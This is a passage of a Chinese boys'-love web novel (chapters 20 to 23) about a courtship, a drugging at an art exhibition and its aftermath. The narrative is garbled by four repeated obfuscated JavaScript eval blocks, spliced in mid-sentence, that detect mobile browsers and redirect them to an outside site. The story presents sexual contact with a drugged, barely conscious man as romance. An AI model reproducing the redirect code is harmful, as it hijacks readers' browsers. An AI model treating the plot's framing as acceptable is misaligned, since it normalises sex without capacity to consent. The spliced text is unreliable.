“闻萧延?”贺炜柏上下审视着他,这么殷勤的外人还会以为两个人已经在一起。或者是,因为还没在一起所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14777951|157901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以这么殷勤? 闻萧延嘴角勾着,手搭着副驾驶座的车门点头示意,姿态优雅从容:“是我。” 贺曲航把西装大衣挂在手肘,凉风吹来时还会有些凉感,他没有看闻萧延,只侧身向贺炜柏道:“哥,那我先走了。” 贺炜柏对闻萧延感官一般。 上一次见到闻萧延的时候,他只顾着听助理打电话说到贺曲航砸了酒吧,就拎起衣服紧急赶去护人。那会儿闻萧延和贺曲航对立着站着,花瓣散落一地,前者穿着亮紫色的西装轻傲又风流,扫过贺曲航时的目光燃着强烈的攻击感与锐气凌厉的锋芒,让他极为不悦。 现在的闻萧延仍然有股恣意不羁的桀骜气息,但看过贺曲航时的目光温柔深沉,眉骨里只沉淀着浓厚的在意情绪。 贺炜柏深深看他一眼,转头柔和地向贺曲航道:“路上小心。” 贺曲航上了副驾,闻萧延关上车门才转身略显郑重地道:“我会对他很好的。” 这句完全感觉就像渣男诱拐豪门乖乖女时的语录,即使贺曲航不乖也不需要人保护,但贺炜柏还是不悦地抿起唇,冷硬道:“你们还没有在一起。” “在努力中。”闻萧延不在意地笑起来,又觉得其实贺曲航真的还有点好追。 贺曲航黑眸似墨,面色俊冷,白色衬衫没有系上最上面的两颗扣子,露出精致的锁骨。闻萧延扫过胸膛时轻佻眉头,关上车门,膝盖压住驾驶座的座椅,俯身凑过去。 手掌不经意间按压上胸膛,闻萧延感受到他柔软的胸肌,宽大的胸膛一手包裹不住,凸起硕大的一点正好抵在手掌中心,闻萧延往下压了压,被绵软的触感糊了满手。 闻萧延喉结滚动,看着近在咫尺那轻皱眉头的英俊面容,恶趣味地压低声音哄道:“我在拿安全带,别动。” 贺曲航伸手抵住闻萧延的脖颈防止他再近一点地凑过来,不自然地缩了缩身体,神色沾染上冷峻,眉头微皱:“下去。” 闻萧延占够了便宜,勾起靠椅后方的安全带,被卡着脖颈也心情很好的低下头。 他顺嘴就亲了亲贺曲航碎发下方被冷风吹成透粉色的冰凉耳朵,听到这句话果断收回手替他把安全带扣进锁扣。 温热的热源离开,但胸口奇怪的痒意酥酥麻麻地传来。贺曲航完全没注意到闻萧延偷亲的小动作,只压下眉头极力冷淡道:“下次我自己系。” 还能有下次?闻萧延扬起耐人寻味的笑,随手给自己插上安全带。 手心里的触感和想象中一样极好,而且本人也如闻萧延猜想一般,对他的一些行为和态度都软化下来。 要是往常这样骚扰,铁定就被一拳砸到胸膛……嗯,虽然贺曲航并没有暴力倾向。 “加贝儿。”闻萧延心下舒爽,踩下油门腔调散漫地开口道,极其经意间又开口道:“能不能,把我送你的耳钉带上?” 21.第 21 章 当天他没有表示出戴或者不戴的态度,于是第二天闻萧延自告奋勇当司机送他的时候专门又把新的三个款式塞进了他西装胸口的领带。 “和那三个不一样。”闻萧延把小盒子往贺曲航口袋里压了压,看到他左胸处明显地突出了一个圆形盒子的轮廓,心情很好地松手勾唇道,“知道你不喜欢流苏,特意选的。” 收到礼物大多数情况下都要对人道谢,贺曲航抬眼看他,沉吟了下,毫无感情地开口:“那我谢谢你?” 闻萧延低笑一声,伸手点点他胸口的小盒子,悠闲自得道:“下次见面时换上这个就是最大的诚意了。” 贺曲航今天戴的是透明色的耳钉,离得远了闻萧延完全看不出来。他上一句贺曲航显然不会回答,于是又开口问:“明天下午的那场艺术展,你也和我那位未来兄长一起?” 贺曲航已经完全懒得纠正他的说法,黑曜石般墨色的眸瞳一闪:“怎么,你要去?” 闻萧延轻挑下眉,漫不经心地盯着他,拖着长长的腔调:“说不定?两天不能见面,我会很想你的。” 贺曲航不接他这句话,抬手去开车门。下车的那瞬间,滚烫的气息忽的萦绕在耳畔,伴随着席卷而来的薄荷气息,闻萧延凑过来轻轻啄了一下他的左耳。 触感清晰无比,像是羽毛轻抚而过的瘙痒,左耳处的温度飞速地爬行增高。贺曲航下意识回头皱眉去看他,但闻萧延早已飞速地退回去勾起唇,和没事人一样笑了起来。 “再见?”看到贺曲航和想象里别无意外的表现,闻萧延闷声低笑。 贺曲航的鞋子终于踩到地上,碎发在吹来的凉风里拂过眼尾,他抿住唇,自上而下地垂下眼帘看向闻萧延。俊冷的眉骨背着光看来时漂亮夺目,贺曲航语气极力冷淡地道:“没有下次。” 实际上已经是第二次了。闻萧延懒洋洋地挑眉应好,视线扫过他泛起薄红的冷白耳朵,嗯哼一声:“当然听你的。” 刚刚弯腰下车时胸口被盒子垫的不太舒服,贺曲航关了车门把它取出来,随手塞进了西装的侧口袋里。 贺炜柏正在院子里种植观赏植物,这个季节不太适合植物生长,但不影响他种一些生命力顽强的草。 看到贺曲航鼻头泛红地进来,贺炜柏抬起干净地手腕顶了顶鼻梁上的眼镜框:“闻萧延送你来的?” 贺曲航只向里面快速的走,过了几秒,他冷闷的应声从拐角传来。 艺术展会当天十四点管家送来纯黑色的西装,最为普通的白内衬、黑色修身马甲,搭配玫瑰红的刺绣领带与一个模样异常眼熟的胸针。 贺曲航用领带夹把领带固定好,喷了发胶定型三七分背头,挽起袖口下楼时顺手把耳钉盒子和胸针一起揣进兜里。 贺炜柏在一楼神情古怪地看了几秒,开口问他:“有个胸针是闻萧延派人送来的,你看你要戴吗?” 贺曲航总算想起为什么那胸针这么眼熟了。 安林做这种设计品时总会雨露均沾地给他和闻萧延一人做一个,而且都是独家定制款。前者是要帮他维护专利的公司老板,后者是正在相处中的对象,这么做倒也无可厚非,就是看的人异常怪异。 但来自新晋大师的全球仅两个的独家定制,闻萧延这是打算直接废物利用当成同款让他戴着? 猜想被在艺术展宴会厅的门口证实。闻萧延穿着一身复古风的黑色休闲西装,倒有几分放荡不羁的贵族气质。他胸口别着与贺曲航口袋里的东西做工一致且样式相近的北极星胸针,看到贺曲航入场,凑过来轻挑了下眉头。 闻萧延盯着他的脸看了几秒,才转移上看下看:耳朵上没有戴任何耳钉,胸口哪里也都没有胸针,心下一沉,拿不准贺曲航是什么意思。 闻萧延低下声音问:“胸针没有送到你手里?” “你说这个?”贺曲航轻瞥他一眼,翻转手腕,骨节分明的手指中夹着一块质感奇特的十字架胸针。 闻萧延装作看不到贺曲航眼眸里的探究,状似恍然大悟一般把胸针捏到自己手中,深邃的目光落到贺曲航胸口,嘴角一勾:“允许我给你戴上吗?” 两个人在宴会厅的正门口旁若无人地站着,下一秒闻萧延就开始动手动脚。跟着侍者才进场的贺炜柏看到两人相似的西装与闻萧延妄图伸去胸口的手,眼不见心不烦,冷哼一声迈开腿往展会中心走去。 闻萧延掀开贺曲航西装外套,磁吸的胸针随着“砰”地一声挂在黑色的布料上,贺曲航眉目淡淡地看他一眼,伸手把自己的西装褶皱抚平了。 不可否认的是出自安林的设计品着实精致又巧妙。闻萧延盯着贺曲航的胸口,他身上也同样别着独家款式的胸针,就像是情侣款一样,还省去了再重新定制的时间。 想到家里那一大堆被他最近才翻出来的小巧玩意,闻萧延愉悦地顺手一捞,把贺曲航衣服口袋里快到掉下去的圆形小盒子勾到了自己手心。 拇指轻点按钮,两颗闪闪发光的灰色碎石和一个墨银色的小巧素圈耳扣静静地躺在里面。 “加贝儿,”闻萧延捏着盒子在指尖转了两圈,跟着他一路走到展览厅的餐饮台,微微低下头,开口低低道,“我想看……” 贺曲航今天的三个耳洞里什么都没带。纯黑色的西装不适合戴耳钉,他神色温和地向过来敬酒的人点点头,转身拿起酒杯时勾唇建议道:“你可以自己打三个耳洞戴上。” 闻萧延坦荡道:“只有在你耳朵上才最好看。” 贺曲航就站在他面前,剪裁得体的西装衬得他更为沉稳冷静,净白的手指搭在玻璃杯上缓缓轻叩,侧分背头下的眼眸眸光矜贵散漫,他笑了下,说:“那你就想着吧。” 贺炜柏派人来叫他,说是那位外国设计师已经入场了,贺曲航把刚刚拿起的酒杯轻巧地放到闻萧延手心里圆形地饰品盒上,留下一句失陪,转身跟着侍者向会展中心走去。 闻萧延把盒子塞进自己西装内侧的口袋,看着随着贺曲航走动时翻起褶皱的裤腿,心里盘算起一会儿怎么出其不意地直接帮他戴上,将酒杯里新醒出来的酒一口灌进嘴里。 “是的,先生,我是华籍。”褐色长发的外国人这么笑着回道,他身旁的人点点头继续张开嘴在说什么。 设计师看到贺曲航走过来,眼底里暗色一闪而过,态度自然地将那人打发,。他仰头灌下一口酒,顺手递给他一旁桌子上的酒杯,彬彬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784055|157901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有礼道:“承蒙指教,贺先生,我听说您很久了。” 贺曲航嘴角抹上一丝笑意,接过酒杯同他滴水不漏地客套几句。设计师签约的意向非常明显,贺曲航有些可惜地说:“合同在助理那里,只能等一会儿展会结束签订。” “没关系,贺先生。”设计师喝了口酒,俯下身去近距离看他胸口的胸针,似有所指地赞叹起来,“这是您公司那位An的作品吧,真是精致,我一直很想和他交流一下,很可惜他前几天突然宣布不再回归。” 贺曲航已经很久没有注意过安林了,最近工作室的交接打理都是助理在进行,并不需要向他上报,闻言只随意一笑而过。 “您最近还和SU有联系吗?”设计师将酒杯里的最后一口酒水。 “SU?”贺曲航凝眉思索起来。 “苏先生。”设计师微微一笑,道,“这位先生在我刚回国时给了我很大帮助,让我得以顺利获得华籍。我听说他一心爱慕着您,今日一见果然外貌不凡,如果我是一个女性,或者是一个同□□好者,应该也会喜欢上您。” 贺曲航温和的神情收敛几分,他从容不迫地笑起来,象征性地抿进一口,放下酒杯,三言两句结束了客套。 闻萧延就靠在不远处单手插兜地看着他,以他为圆心的三米内身边空无一人,态度傲慢地交叠起双腿。 “怎么样?”贺炜柏的声音从侧方响起,变换身位置巧妙地挡住闻萧延看向这里的视线,嘴角勾起优雅的笑意。 贺曲航反应慢了半拍,犹豫着点头:“结束后会让助理把合同送去。” 一个匆匆而过的侍者端着盘子过来,盘子上放着七八个剩了三指宽酒水的高脚杯。贺炜柏顺势将手里的空杯放到上面,却没想到端盘子的人手一滑,酒水尽数洒在了两个人的衣服上。 侍者是一个模样异常年轻的男性,看到这一幕吓得手一松,盘子倒地砸在酒杯上,玻璃碎片碎地到处都是。 展会负责人小跑着过来鞠躬道歉,贺炜柏顶了下自己的眼镜框,隐去不满与讥讽,噙着笑意笑起来:“幸好这里是酒店,我们去收拾一下。” 展会负责人递上来两张顶楼的套房房卡,贺炜柏伸手接过,去看半晌没有说话的贺曲航。 这一看却直直吓了他一大跳,神色肃然冷峻起来。 闻萧延早已闻声大步走来,看到贺曲航俊冷锋利的轮廓沾染上潮红,连平日里泛着冰冷的眼尾都浮出胭色。纤长浓密的睫毛微微颤抖了下,温和的眸光里已经蒙上水雾一般的迷离。 往日英俊的面容此刻带着不一样的情色,闻萧延心猿意马,脸色却瞬间沉下来。他喉结滚动,一把夺过贺炜柏手里的卡,拦腰毫不费力地公主抱起他就向电梯走去。 转个弯几步路就是电梯间,眼睁睁看着这幕发生的电梯志愿者还处在懵逼得状态,下意识开了电梯门送他们进去。 贺炜柏眼眸微转,直直盯住了呆愣在那里举着手机正在对话的设计师。 他手里的手机还在发出声响,传来苏在起急迫的声音:“药效两小时后是吗?但是曲航体质可能和其他人不一样,我怕可能会提前,欸我安排的人你得盯着点,不要让出错……” 22.第 22 章 贺炜柏只是西装外套湿了,衬衣还很干净。 经理给的房卡是一个套房中的两间房,闻萧延在他没反应过来的时候就抱着贺曲航走了,一想到此刻可能在发生什么,他就心情复杂地暂时还不想上去。 会展中心从刚刚那一幕起就已经鸦雀无声起来,寂静的空间里,贺炜柏随手把西装扔到地上,大步流星走过去站在设计师前面。 他视线轻扫这位外国设计师耳边的手机,和煦地勾起笑意,问好:“打扰?” 贺曲航刚刚喝下一口的酒杯还放在手边,罪证确凿,设计师愣愣地把手机递给他。 苏在起在那边惊慌起来:“什么情况,Splints你怎么不说话了……” 贺炜柏接过手机,看到上面的姓名,顿时心下了然。 他查过他的资料,知道这位是喜欢了贺曲航很久的那位合作商的儿子。合作商和贺家交往已久,投资了贺曲航的公司还尚有几分话语权。但是这份话语权与贺曲航出事对比起来,于贺炜柏而言不值一提。 贺炜柏眯起眼睛温柔地问好:“你在哪层楼?三分钟,你知道后果。” 一分钟后,苏在起从电梯里跑出来了。他绝对精心地打理过自己,穿着王子小西服气喘吁吁地跑到会展中心大厅。 氛围古怪的有些离奇,站满了人的大厅此刻竟然一句响声与交谈都没有。除了脸陌生无比、或不卑不亢或献媚的那些作品师,基本都是互相认识的一个圈子里的少爷小姐,看向他的目光复杂又惊奇,似乎不明白他这时候蹦出来干什么,苏在起不由得心脏狂跳。 上次他就发现了贺曲航的力气全然没有他大,被下药后应该更会任由他摆布。刚好有Splints这个欠了他大人情的国际著名设计师,这次的计划从展会官宣开始他就一直在筹备,而且唯一一个有威胁的那人已经退圈辞职不见踪迹,明明一切应该水到渠成。 到底哪里出了差错。 贺曲航和闻萧延的关系水火不容,苏在起平日里骂骂说不定还会让贺曲航对他有些好感。刚开始是试探性的,后期变得毫无顾忌起来,一方面是自己家也算是圈内上流,闻萧延不能毫无顾忌地动他,而更多的只是因为贺曲航每到这时候都会护着他。 而且贺曲航真的在护着他,即使是因为合作商这一层关系,也不外乎他会以为自己是特殊的那个。 但此时此刻贺炜柏的声音响起,狐狸一般的轻笑声异常耳熟,他根本得罪不起。 差一步拐弯就能看到贺炜柏的身影,苏在起随便抓住一旁的人问:“这是怎么了?” “苏在起?”那人狐疑地小声回他 ,“你才到吗?你心上人突然被闻家那位抱走了,贺家老大刚刚不知道在跟谁发疯呢。” “……前不久分手后就变天了,你知道他俩怎么一回事?” 苏在起被他的话语砸的晕头转向,脸色霎那间苍白起来。闻萧延?他这几月不就出了个国,怎么又有闻萧延什么事。 又是阴阳怪气,互相打起来……不对,上次见面时闻萧延的态度就已经很奇怪了。 只半晌他就想通所有事情,苏在起咬着牙烦躁起来自己竟然为他人做了嫁衣,恨透了闻萧延与安林这对极品前任。 这时贺炜柏的视线透过画布冰冷地扫视过来,瞬间苏在起冷汗直冒。 套房里有很多房间,闻萧延随便拿着房卡试了一个就侧身用肩膀把门撞开。 贺曲航被闻萧延抱到浴缸里,胸口裁剪得当的定制西装随着他灼热的呼吸声上下起伏,纯黑色的布料和泛起红晕的冷白肌肤映衬,看起来诱人无比。 闻萧延意识从未像现在这样清醒,狂跳不已的心脏蓬勃地反映着自己的存在感,他一眨不眨地注视着贺曲航的神情。 贺曲航皱着眉微微曲起一条腿,皮鞋踩在浴缸内壁,意识像是被甜腻的麦芽糖糊在一起,垂着一双水雾般的眸瞳抬手去拉自己的领带。 一下没有拉成功,脖颈反倒被勾出细细的一道红痕。贺曲航扯着领带胡乱把脖颈解放出来,随手一扔,衬衫领口最上方的几个扣子因为他暴力的行为随之跟着砸到浴缸的白色瓷片上,在这片只有沉重呼吸声的封闭空间里发出清脆无比的声响。 难耐的高温一层一层涌上来,贺曲航勉强能保持自己头脑的清醒,他胡乱向旁边摸索着想去拧开浴缸水流的开关,却冷不防触碰到一只骨感分明的手。 那只手的温度比他这个被下药的人都要烫上几分,手背上青筋暴起的触感让人心惊,正在用力地攥着浴缸的开关。 被贺曲航触碰到的那瞬间,闻萧延克制地顶起腮帮,盯着他被衣物紧紧贴着的硕大胸肌,猛地拧动了手下的旋转按钮。 衣物很快就被放出的水流沾湿,肉/欲十足的大腿被贴身西裤绷出紧致的肉感。贺曲航下意识去解自己的西装,素白透粉的指尖轻颤着,勉强解开两颗扣子,又想起自己眼前还有一个人。 他缓缓地皱了下眉将头发撩起,抬眸望过去时冰冷与情色交杂,英俊的眉宇下那双眼眸近乎蛊惑,喘息着捏住闻萧延的袖口。 “帮我。” 闻萧延声音暗哑地反手捏住他的手腕,问他:“我是谁?” 贺曲航神色不耐起来,闻萧延连自己是谁都不知道了吗,于是张开嘴回他:“闻萧……唔——” 还没说出的名字被堵在咽喉,闻萧延一脚跨进浴缸挤进他的腿间,两条沾湿的西裤毫无任何存在感,肌肤轻易就挤压在一起。 闻萧延护住贺曲航的后脑,看他如鸦羽的眼睫和眼尾那抹胭脂般的潮红,英俊矜贵的脸此刻漂亮的有些过于惑人。他看着就已经开始意动,将后者压在浴缸内壁上轻而易举地撬开牙齿,气息交缠间,从容不迫地收回扣在他腰后的手,去解贺曲航身上的西装马甲。 内外的灼热感一齐袭来,贺曲航的声音被自己吞进咽喉,被迫地仰着头接受闻萧延凶狠的亲吻。 下唇被咬的生疼,贺曲航终于可以呼吸新鲜空气,胸膛疯狂地起伏着。他脑海尚还清醒,只是打算让闻萧延给自己解衣服泡个凉水澡降温。 但随着意识一步一步下沉,他已经分不清是因为其他原因带来的燥热还是自己原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14787746|157901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本的情绪。 奇怪的酥麻感觉又涌进心脏,贺曲航甩了甩头,却被闻萧延伸腿抵住,猛地冷下神色想去推开他。 手心是一只手都包裹不住的绵软触感,闻萧延低下头,亲了亲他眼下的那两颗浅痣。 他突然想起第一次近距离在大学办公室见到贺曲航时。 圈子本身不大,怎么着也会难免有一两面之缘,更何况是他们两个地位相差不大的,更应该打过几分交道。 但贺曲航是他们之中最为特立独行的一个,从来不参与任何圈内的聚会活动。因为丝毫没有继承集团的想法,甚至于懒得拓宽社交面,也不去公司学习。 闻萧延少年时只偶然见了他一次。 那时候贺曲航染着人群中最为瞩目的亮色挑染,完全像个混混一样的不良少年,还夺取了别人看向自己的目光。闻萧延习惯于当人群中最为瞩目的那一个,对他完全没什么好感,只收回目光嗤笑一声。 特立独行?明明是装模做样。 他比贺曲航大一岁,大学第二年就出了国,又刚好和后者完美的岔开。回国后没多久就听说那个紫毛小子为了追求一个人在这四年里变了大样。 谁啊还能让不良少年从良。闻萧延起了几分兴趣,刚好被曾经带了他一年的导师邀请回学校演讲,一眼就看到了人群里坐在第一排的那个男人。 皮囊确实不错,闻萧延有几分喜欢,和他之前谈过的小情人也没有太大相径庭,但追到手当个玩物看看倒也不错。这么想着,玫瑰花就从手心里递出去了。 他一路轻快地跟着不知道名字是什么的男人来到办公室,贺曲航就在窗边站着。 异色的头发被染黑,一身贴合的西装,身量和他相差无几,脸上勾着温文尔雅的笑容,眼眸里却全是与气质不相符的冰冷,只有看过站在闻萧延面前的男人时才闪过几分柔和。 闻萧延漫不经心地扫过挡住他视线的下一个目标对象,把那人背在手后的花夺过来拿在自己手里。 冰冷怒意的视线瞬间扫来,闻萧延想,这会是他遇到的唯一一个竞争对手。 竞争对手此刻在床上被他捏住,闻萧延下意识又去低下头哄他。 贺曲航脑海一团乱麻,只记得摆出下意识的冷脸,但是此刻的眸光过于蛊惑,还被药效控制着还不由自主把自己往他手中送去,带着点欲拒还迎、可以被随意摆布的意味。 闻萧延心满意足地瞧完他这副和往常完全不一样的姿态,揉揉他没有戴耳钉的左耳耳垂,摸出刚刚被他塞到枕头下方的小盒子,神情认真的捏住贺曲航的脸将他摆正。 贺曲航的五官初看时是英俊,气质上沉稳而成熟,但仔细看时会发现他连眉骨也沾染着桀骜的意味,并不像表面那样温冷谦逊。 两颗碎石耳钉和素圈被一个一个仔细地戴进耳洞里,闻萧延勾着笑意用手去点了点他的三颗耳钉,又去再亲他眼帘下的两颗浅痣。 被亲的人只是以一种奇怪的神情看着他。全程任由他把耳钉固定在耳上,偏头时两颗碎钻反射出光亮,凌厉地有些动人心魄 。 23.第 23 章 贺炜柏准时准点地在套房门口站着。 此刻已经是第二天中午,一楼的工作人员在三三两两地收拾着展会内存留的物品,贺曲航的助理半小时前给他打报告说他刚刚收到消息,现在在来送西装的路上。 贺炜柏因为不放心,昨天晚上是直接推了会议在他们隔壁另开了一间房睡的,闻言直接不客气地截了胡。但一想又不太好,就让助理先送过去。 算算时间,二十分钟再怎么收拾也应该收拾好了,贺炜柏卡着点按了门铃。 闻萧延正在浴室里面给贺曲航胸口涂药。本身就可观的胸肌被他揉了一晚上,虽然达不到被揉开的地步,但触感绵软又紧致,反而摸起来手感更好。 贺曲航白色衬衫只解开了上面四颗扣子,下摆已经被衬衫夹扣着扎进西装裤里,他坐在洗漱台上垂下眸子看他,大腿处衬衫夹突出的存在不容易被忽视,闻萧延努力心无杂念地把药膏挤了点在手上,按在他大腿处的衬衫夹上,另一只手试探性地贴了上去。 面前的人肤色偏白,指痕和齿痕在上面异常显眼,中间红肿破皮的地方看着略显可怖。闻萧延昨天做的时候还没觉得自己有这么过分,此刻触碰到首端的手感太好,他不由得又捏了两下。 三颗素色耳钉还在贺曲航左耳上,贺曲航被他这一下捏的喉结颤抖,皱起眉伸出手扣着他的肩,俊冷的眉目凝起:“我自己来。” “你自己怎么涂?”闻萧延揶揄地抬眼笑起来,“对着镜子吗?” 闻萧延想了一下那个画面,慢悠悠地沿着胸口顶端的弧度一圈一圈抚摸着涂抹。胸口太过于敏感,贺曲航实在受不了他这样的手法,漆黑的眸瞳莫名蒙了一次雾气,想说话时却又仿佛被遏制了声音。 终于等到闻萧延终于帮他贴上两片创可贴,难耐的行为终于结束,贺曲航收起反撑在洗手台上的手想要扣上扣子,闻萧延却突然间伸手掐住了他的大腿。 贺曲航本就是在差不多穿戴整齐后被闻萧延拉进这里涂药的,那里被他蹭了一晚上早就敏感红肿,被这样一掐瞬间应激起来,下意识抬起脚,踩到闻萧延的膝盖上方阻止他再进一步的动作。 感受到手里身体猛然间绷紧,贺曲航下意识的动作反而使得他更容易地就握住想握的地方,闻萧延轻轻捏了捏他大腿内侧的软肉:“这里也上点药?” “我自己来。”贺曲航重复一句,用冰冷的目光看他,如果忽视他领口大开的衬衫和泛起薄红的眼尾,的确是一句很有震慑力且不容置疑的话语。 闻萧延已经占够了便宜,不想再惹他生气,果断地松开了手。看到贺曲航这副模样早已起来的反应不容忽视,他嗓音沙哑:“有需要叫我,我去洗个澡。” 这副模样太过眼熟,贺曲航立刻想起之前在射箭俱乐部发生过的事情,把踩到他膝盖上方的脚放下。脚尖着地时闻萧延也已经站直了身体,贺曲航抬眼扫他:“你……” 闻萧延不用思考就知道他在想什么,他勾起唇毫不意外地笑起来,神采飞扬的俊美面容上眉头扬起,凑过来靠近他的耳畔,“我是个正常人,对你有反应非常正常。”而且他昨天又没有被下药。 他迅速亲了两下贺曲航的左耳,拉过一旁架子上的浴巾闪进了隔壁的浴室。 贺曲航扣上衬衫的纽扣。闻萧延抚摸过时酥麻的触感似乎还停留在胸口,药膏就在他手边,他握在手里站直了身体,被门口突然响起的门铃声打断思绪。 习惯性地勾上温和的笑意,贺曲航打开门,略微有些惊讶。贺炜柏一天天忙的不可开交,怎么这个时间还在这里。 贺炜柏上下扫视了他一眼。贺曲航穿戴整齐,身材挺拔端正,面容矜贵温冷,和往常没有任何区别。只在目光略过他仿佛刚被欺负过一样的眼尾时停留了一下:“闻萧延呢?” 贺曲航顿了一下,怎么不知道贺炜柏这是想去敲打一下闻萧延。昨天晚上他全程都完全没有力气反抗,但闻萧延没有太过分,而且两个人也没有做到最后一步。 见他犹豫,贺炜柏眯起眼睛:“还没在一起就护上了?” 贺炜柏只随口开了一句玩笑,贺曲航之前喜欢上一个人的时候跟不要命了一样,显然对闻萧延的感情还没到那个程度。于是随即勾唇道:“晚上和我吃个饭,把他也叫上。” 贺曲航点点头。 闻萧延听到这个消息时闷声笑了一下:“宝贝儿,你哥都接受我了,你什么时候给我个名分?” 贺曲航正坐在餐桌上叉了一块煎饺,这是刚刚贺炜柏走后酒店工作人员送来的早餐。闻萧延只了一圈浴巾凑过去,双臂撑开支在贺曲航两侧,低着头笑意盈盈地看他。 据他所知,贺曲航追安林追的最凶的那几年里,贺炜柏都没有要见安林的想法。 人他都没追到,贺炜柏怎么见。 贺曲航太清楚闻萧延心里想的什么,轻飘飘抬下眼皮:“你也可以不去。” “那怎么可以。”闻萧延遇到机会就会抓住,已经厚着脸皮把人吃到嘴里,贺曲航也没有什么反感他的表现,早上还任由他动手动脚,临阵一枪怎么会放弃。 他坐到贺曲航一旁的位置上拿起筷子,把刚刚从洗手间顺手拿出来的药膏放在桌子上,不经意间又开口:“上药了吗?” 贺曲航顿了一下,贺炜柏打了个茬他就把这件事忘了。所幸又没有被磨破皮,最多红肿了点,他也不是多娇贵的人。 闻萧延的左手又伸下来顺着腰一路向下去捏他的腿肉,贺曲航敏感得皱起眉沉下声:“闻萧延,你别太过分。” “不上药会很难受的。”闻萧延观察了一下他的脸色,胸都被他玩成那样了,他昨天第一次,也不知道蹭地得有多用力。把筷子放下,索性握着他的腰直接把他按在椅子上道,“我帮你。” 饭吃了一半就要被扒衣服,送他回老宅后闻萧延就开始越来越得寸进尺。贺曲航一脚抵住闻萧延妄图靠过来的凳子,他现在又没有被下药,正儿八经的成年男性力气,两个人就在饭桌前开始僵持不下。 闻萧延被他温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790761|157901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷的眸子一盯,没过几秒就先败下阵来,捏着他的手腕放低声音:“那难受了给我说。” 贺曲航另一只手上还拿着叉子,上面是一块刚咬一口糕点。他叠起双腿,靠在座椅上神色淡淡:“你把衣服穿上。” 闻萧延的浴巾在刚刚的推搡间掉到地上,听到这句话他低头看了眼,笑起来:“我身材不错吧?” 贺曲航反手把糕点塞进他嘴里,让他停止这个随处开屏的坏习惯。 闻萧延下意识咬住,随便嚼了几口再咽下去。他好整以暇地看着贺曲航收回目光时的侧脸,扣住他的脑袋就俯下身吻了过去。 双唇一触即离,闻萧延低声问他:“你是不是有一些喜欢我了?” 贺曲航用指腹抹过下唇,半晌抬眼笑了下:“你想的太多。” “想的多?”闻萧延若有所思地起身道,“那就是有一点喜欢我了?” 哪怕贺曲航看起来一点也不想和他再说话争辩的样子,也不影响闻萧延的心情,他飞速把衣服换好坐回来。 贺炜柏约的是晚上八点,地点在最近突然火起来的一处空中餐厅。闻萧延看到地点的时候神色顿了一下,因为餐厅旁边的室内运动场正在进行闻许情每月一次的包场聚会。 闻许情正站在门口叼着烟,穿着简单的紫色长裙,她眯着眼睛看过来,漫不经心地调侃起来:“刚刚还在听你们洋洋洒洒的公主抱事迹,怎么,追到手了?” 闻萧延姿态肆意地挑眉:“这不尚在努力。” 贺曲航面色温和谦逊地问好:“闻女士。” “这么生分。”闻许情咂舌,“你们去隔壁吃饭?我投资过,报我名字就好。” 她弹弹烟灰,扫到他侧头时耳朵上的三颗耳钉,认出这是前不久闻萧延来找他参谋了好久的,感慨一般笑起来道:“闻萧延虽然不是什么好东西,但这次是真喜欢你。” “可以考虑一下,不合适就把他甩了,反正左右没什么损失。” 贺曲航面色如常地点头,态度是到位了,但也不知道有没有听她说话。闻许情看到闻萧延在后面的小动作,随手把烟含进嘴里:“那我就不打扰了,有空邀请你们来参加聚会。” 她随意转头而过,视野那一头,西装革履的贺炜柏进门前浅笑着向她颔首示意。 “你哥都来了?”闻许情换了一种神色去看两人,古怪道,“闻萧延,我真是小瞧你了。” “到时候老爷子生日记得一块来。”闻许情一想到贺曲航和闻萧延之前在她面前的氛围就深觉好笑,随便再说了几句转身进了室内运动馆。 空中餐厅由单面玻璃全包围,贺曲航进门的时候贺炜柏已经坐在那里,这是个最顶层被隔开的独间,闻萧延态度非常到位地拉开凳子请贺曲航入坐。 尽管已经态度异常端正认真,但贺炜柏还是觉得他如同不正经的流氓,还似乎察觉出隐隐的得意之色。 他勾起唇柔和地看向贺曲航,转头冷硬地开口道:“你和那个什么林,为什么分手?” 28-30 第28章 “第一个滚出来的怎么是你名?我没看错吧三水, 